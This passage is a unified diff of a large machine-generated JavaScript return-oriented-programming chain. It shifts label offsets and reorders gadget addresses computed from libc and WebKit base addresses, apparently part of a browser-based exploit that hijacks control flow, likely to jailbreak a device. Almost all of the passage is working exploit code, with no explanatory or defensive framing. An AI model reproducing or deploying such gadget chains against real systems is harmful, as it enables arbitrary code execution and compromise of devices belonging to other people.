[rsi], rax libc_base+206806 //pop rdi ]); @@ -12594,7 +12592,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax //L1933: -ropchain+139640, //L1932 +ropchain+139624, //L1932 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -12602,7 +12600,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+140472, //L1934 +ropchain+140456, //L1934 //L1932: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi @@ -12611,14 +12609,14 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+139776, //L1936 +ropchain+139760, //L1936 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+139792, //L1937 +ropchain+139776, //L1937 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+139760, //L1935 +ropchain+139744, //L1935 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -12633,14 +12631,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+139896, //L1938 +ropchain+139880, //L1938 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+139928, //L1940 +ropchain+139912, //L1940 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+139912, //L1939 +ropchain+139896, //L1939 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -12660,10 +12658,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+140024, //L1941 +ropchain+140008, //L1941 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+140040, //L1942 +ropchain+140024, //L1942 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -12680,10 +12678,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+140152, //L1943 +ropchain+140136, //L1943 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+140136, //L1944 +ropchain+140120, //L1944 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -12695,11 +12693,11 @@ db([0, 0]); // 0x0 //L1910: set_gadgets([ libc_base+793877, //pop rsi -ropchain+140240, //L1946 +ropchain+140224, //L1946 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+140224, //L1945 +ropchain+140208, //L1945 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -12716,10 +12714,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+140336, //L1947 +ropchain+140320, //L1947 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+140352, //L1948 +ropchain+140336, //L1948 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -12736,10 +12734,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+140464, //L1949 +ropchain+140448, //L1949 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+140448, //L1950 +ropchain+140432, //L1950 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -12964,7 +12962,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+141792, //L1951 +ropchain+141776, //L1951 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); @@ -12976,47 +12974,46 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+141864, //L1953 +ropchain+141848, //L1952 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L1953: +//L1952: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+141976, //L1956 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+141992, //L1957 +ropchain+141936, //L1954 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+141968, //L1957 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L1954: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1955: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L1956: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L1957: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+142096, //L1960 +ropchain+142072, //L1960 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+142080, //L1959 +ropchain+142056, //L1958 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1959: +//L1958: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1960: @@ -13024,14 +13021,14 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+142200, //L1961 +ropchain+142176, //L1961 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+142232, //L1963 +ropchain+142208, //L1963 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+142216, //L1962 +ropchain+142192, //L1962 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13051,10 +13048,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+142328, //L1964 +ropchain+142304, //L1964 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+142344, //L1965 +ropchain+142320, //L1965 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13071,10 +13068,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+142456, //L1966 +ropchain+142432, //L1966 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+142440, //L1967 +ropchain+142416, //L1967 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13085,11 +13082,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+142544, //L1969 +ropchain+142520, //L1969 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+142528, //L1968 +ropchain+142504, //L1968 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -13106,10 +13103,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+142640, //L1970 +ropchain+142616, //L1970 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+142656, //L1971 +ropchain+142632, //L1971 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13126,10 +13123,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+142768, //L1972 +ropchain+142744, //L1972 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+142752, //L1973 +ropchain+142728, //L1973 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13144,47 +13141,46 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+142840, //L1975 +ropchain+142816, //L1974 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L1975: +//L1974: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+142952, //L1978 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+142968, //L1979 +ropchain+142904, //L1976 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+142936, //L1979 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L1976: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L1977: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L1978: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L1979: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+143072, //L1982 +ropchain+143040, //L1982 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+143056, //L1981 +ropchain+143024, //L1980 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1981: +//L1980: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1982: @@ -13192,25 +13188,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+143240, //L1985 +ropchain+143208, //L1985 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+143256, //L1986 +ropchain+143224, //L1986 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+143208, //L1983 +ropchain+143192, //L1983 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+143224, //L1984 +ropchain+143176, //L1984 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1983: +//L1984: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1984: +//L1983: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1985: @@ -13221,22 +13217,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+143416, //L1990 +ropchain+143384, //L1990 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+143368, //L1987 +ropchain+143336, //L1988 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+143400, //L1989 +ropchain+143368, //L1989 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1987: +//L1988: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1988: +//L1987: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi //L1989: @@ -13248,14 +13244,14 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+143528, //L1991 +ropchain+143496, //L1991 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+143560, //L1993 +ropchain+143528, //L1993 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+143544, //L1992 +ropchain+143512, //L1992 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13275,10 +13271,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+143656, //L1994 +ropchain+143624, //L1994 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+143672, //L1995 +ropchain+143640, //L1995 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13295,10 +13291,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+143784, //L1996 +ropchain+143752, //L1996 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+143768, //L1997 +ropchain+143736, //L1997 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13309,11 +13305,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+143872, //L1999 +ropchain+143840, //L1999 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+143856, //L1998 +ropchain+143824, //L1998 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -13330,10 +13326,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+143968, //L2000 +ropchain+143936, //L2000 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+143984, //L2001 +ropchain+143952, //L2001 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -13350,10 +13346,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+144096, //L2002 +ropchain+144064, //L2002 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+144080, //L2003 +ropchain+144048, //L2003 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -13368,47 +13364,46 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+144168, //L2005 +ropchain+144136, //L2004 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2005: +//L2004: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+144280, //L2008 -webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+144296, //L2009 +ropchain+144224, //L2006 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+144256, //L2009 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L2006: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2007: db([16, 0]); // 0x10 set_gadget(webkit_base+432898,); //pop r8 -//L2008: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L2009: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+144400, //L2012 +ropchain+144360, //L2012 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+144384, //L2011 +ropchain+144344, //L2010 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2011: +//L2010: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L2012: @@ -13416,22 +13411,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+144560, //L2016 +ropchain+144520, //L2016 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+144512, //L2013 +ropchain+144472, //L2014 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+144544, //L2015 +ropchain+144504, //L2015 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2013: +//L2014: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2014: +//L2013: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi //L2015: @@ -13442,7 +13437,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+144616, //L2018 +ropchain+144576, //L2018 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -13452,21 +13447,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+144720, //L2019 +ropchain+144680, //L2020 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+144752, //L2021 +ropchain+144712, //L2021 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+144736, //L2020 +ropchain+144696, //L2019 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2019: +//L2020: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2020: +//L2019: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2021: @@ -13474,22 +13469,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+144912, //L2025 +ropchain+144872, //L2025 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+144864, //L2022 +ropchain+144824, //L2023 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+144896, //L2024 +ropchain+144856, //L2024 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2022: +//L2023: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2023: +//L2022: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi //L2024: @@ -13501,11 +13496,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+145016, //L2027 +ropchain+144976, //L2027 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+145000, //L2026 +ropchain+144960, //L2026 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13535,18 +13530,18 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+145224, //L2032 +ropchain+145184, //L2032 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+145192, //L2030 +ropchain+145152, //L2031 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2030: +//L2031: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2031: +//L2030: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L2032: @@ -13555,11 +13550,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+145328, //L2034 +ropchain+145288, //L2034 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+145312, //L2033 +ropchain+145272, //L2033 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13574,29 +13569,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+145424, //L2037 +ropchain+145368, //L2035 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L2035: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L2037: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L2036: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+145528, //L2040 +ropchain+145488, //L2040 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+145512, //L2039 +ropchain+145472, //L2038 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2039: +//L2038: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L2040: @@ -13604,22 +13599,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+145688, //L2044 +ropchain+145648, //L2044 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+145640, //L2041 +ropchain+145600, //L2042 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+145672, //L2043 +ropchain+145632, //L2043 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2041: +//L2042: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2042: +//L2041: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi //L2043: @@ -13630,7 +13625,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+145744, //L2046 +ropchain+145704, //L2046 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -13640,21 +13635,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+145848, //L2047 +ropchain+145808, //L2048 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+145880, //L2049 +ropchain+145840, //L2049 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+145864, //L2048 +ropchain+145824, //L2047 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2047: +//L2048: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2048: +//L2047: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L2049: @@ -13662,22 +13657,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+146040, //L2053 +ropchain+146000, //L2053 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+145992, //L2050 +ropchain+145952, //L2051 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+146024, //L2052 +ropchain+145984, //L2052 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2050: +//L2051: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2051: +//L2050: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi //L2052: @@ -13689,11 +13684,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+146144, //L2055 +ropchain+146104, //L2055 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+146128, //L2054 +ropchain+146088, //L2054 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13722,18 +13717,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+146344, //L2060 +ropchain+146304, //L2060 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146312, //L2058 +ropchain+146272, //L2059 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2058: +//L2059: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2059: +//L2058: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L2060: @@ -13742,11 +13737,11 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+146448, //L2062 +ropchain+146408, //L2062 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+146432, //L2061 +ropchain+146392, //L2061 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13758,18 +13753,18 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+146560, //L2065 +ropchain+146520, //L2065 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146528, //L2063 +ropchain+146488, //L2064 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2063: +//L2064: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2064: +//L2063: db([48, 0]); // 0x30 set_gadget(libc_base+788575,); //pop rax //L2065: @@ -13778,7 +13773,7 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+146624, //L2066 +ropchain+146584, //L2066 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx @@ -13788,12 +13783,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+146680, //L2069 +ropchain+146640, //L2068 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2069: +//L2068: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -13801,14 +13796,14 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+146824, //L2071 +ropchain+146784, //L2071 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+146840, //L2072 +ropchain+146800, //L2072 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+146808, //L2070 +ropchain+146768, //L2070 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -13823,22 +13818,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+147000, //L2076 +ropchain+146960, //L2076 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+146952, //L2073 +ropchain+146912, //L2074 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+146984, //L2075 +ropchain+146944, //L2075 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2073: +//L2074: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2074: +//L2073: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi //L2075: @@ -13850,14 +13845,14 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+147112, //L2077 +ropchain+147072, //L2077 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+147144, //L2079 +ropchain+147104, //L2079 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+147128, //L2078 +ropchain+147088, //L2078 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -13877,10 +13872,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+147240, //L2080 +ropchain+147200, //L2080 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi 